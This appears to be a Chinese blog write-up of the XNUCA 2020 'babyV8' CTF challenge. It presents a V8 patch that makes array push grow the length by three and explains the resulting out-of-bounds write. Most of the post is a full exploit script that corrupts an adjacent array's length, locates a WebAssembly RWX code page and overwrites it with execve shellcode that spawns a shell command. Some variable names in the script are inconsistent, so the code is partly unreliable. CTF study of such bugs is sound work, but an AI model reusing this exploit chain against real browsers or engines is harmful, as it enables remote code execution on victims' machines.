xnuca2020-babyV8

diff文件

diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc
index 16fd384..8bf435a 100644
--- a/src/codegen/code-stub-assembler.cc
+++ b/src/codegen/code-stub-assembler.cc
@@ -2888,7 +2888,7 @@ TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
       [&](TNode<Object> arg) {
         TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(),
                              arg);
-        Increment(&var_length);
+        Increment(&var_length, 3);//实际上var_length += 3
       },
       first);
   {


  TNode<Smi> BuildAppendJSArray(ElementsKind kind, TNode<JSArray> array,
                                CodeStubArguments* args,
                                TVariable<IntPtrT>* arg_index, Label* bailout);

TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
                                                 TNode<JSArray> array,
                                                 CodeStubArguments* args,
                                                 TVariable<IntPtrT>* arg_index,
                                                 Label* bailout) {
  Comment("BuildAppendJSArray: ", ElementsKindToString(kind));
  Label pre_bailout(this);
  Label success(this);
  TVARIABLE(Smi, var_tagged_length);
  TVARIABLE(BInt, var_length, SmiToBInt(LoadFastJSArrayLength(array))); // var_length = array.length
  TVARIABLE(FixedArrayBase, var_elements, LoadElements(array));

  TNode<IntPtrT> first = arg_index->value();
  TNode<BInt> growth = IntPtrToBInt(IntPtrSub(args->GetLength(), first));
  PossiblyGrowElementsCapacity(kind, array, var_length.value(), &var_elements, growth, &pre_bailout);

  CodeStubAssembler::VariableList push_vars({&var_length}, zone());
  TNode<FixedArrayBase> elements = var_elements.value(); // 复制数组
  // 执行push方法
  args->ForEach(
      push_vars,
      [&](TNode<Object> arg) {
        // 将 arg 存储到 elements 中
        // 这里的 var_length.value() 是 index, arg 是 value
        // 即 array[index] = value
        TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(), arg);
        // 这里每次将 var_length 加 3
        // Increment(&var_length);
        Increment(&var_length, 3);
      },
      first);
  {
    // 设置 length = var_length.value()
    TNode<Smi> length = BIntToSmi(var_length.value());
    var_tagged_length = length;
    // 修改 array.length = var_length.value()
    StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
    Goto(&success);
  }

  BIND(&pre_bailout);
  {
    TNode<Smi> length = ParameterToTagged(var_length.value());
    var_tagged_length = length;
    TNode<Smi> diff = SmiSub(length, LoadFastJSArrayLength(array));
    StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
    *arg_index = IntPtrAdd(arg_index->value(), SmiUntag(diff));
    Goto(bailout);
  }

  BIND(&success);
  // 返回最后的数组大小 array.length
  return var_tagged_length.value();
}

漏洞就出在+3上面正常push一次会导致数组的长度加3将会导致越界问题。

var a = [];
a[0] = 1.1;
a.push(1.1,1.1,1.1,1.1,1.1,1.1);
var b = new Array(1.1,2.2);

使用new将使得element元素在对象下方配合a数组的越界可以修改到b数组的长度属性。修改完b的长度属性接下来就是搜索wasmcode的地址以及使用dataview的任意写替换wasmcode完成利用。

脚本

function debug(o){
 %DebugPrint(o);
 %SystemBreak();
}
function hex(num){
 return '0x' + num.toString(16);
}
function print(data){
 console.log(data);
}
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

function dtl(x)
{
        d_buf[0] = x;
        return l_buf[0];
}

function ltd(x)
{
        l_buf[0] = x;
        return d_buf[0];
}

function u64_l(val) {
   dv.setFloat64(0,val,true);
   return dv.getUint32(0,true);
}


function u64_h(val) {
   dv.setFloat64(0,val,true);
   return dv.getUint32(0x4,true);
}

var a = [];
a[0] = 1.1;
a.push(1.1,1.1,1.1,1.1,1.1,1.1);
var b = new Array(1.1,2.2);
var data = dtl(a[18]);
a[18] = ltd(data + 0xf000000000000n);
var buf = new ArrayBuffer(0x100);
var dv = new DataView(buf);

const wasm_code = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint8Array([0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var func = wasmInstance.exports.main;
var l;
var h;
var d= 0;
for (var i=0xff;i>=1;i-=1) {
   d = b[0x31200+i];
   l = u64_h(d);
   d = b[0x31200+i+1];
   h = u64_l(d);
   if (parseInt(h) != 0 && parseInt(l) != 0 && parseInt(l & 0xFFF) == 0) {
      print("fond!");
      
   }
}
b[0x8] = ltd(BigInt(l >> 32));
b[0x9] = ltd(BigInt(h));
var adw = new DataView(buf);
debug(buf);
for (var i=0;i<shellcode.length;i++) {
   adw.setUint32(i,shellcode[i], true);
}
func();
  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值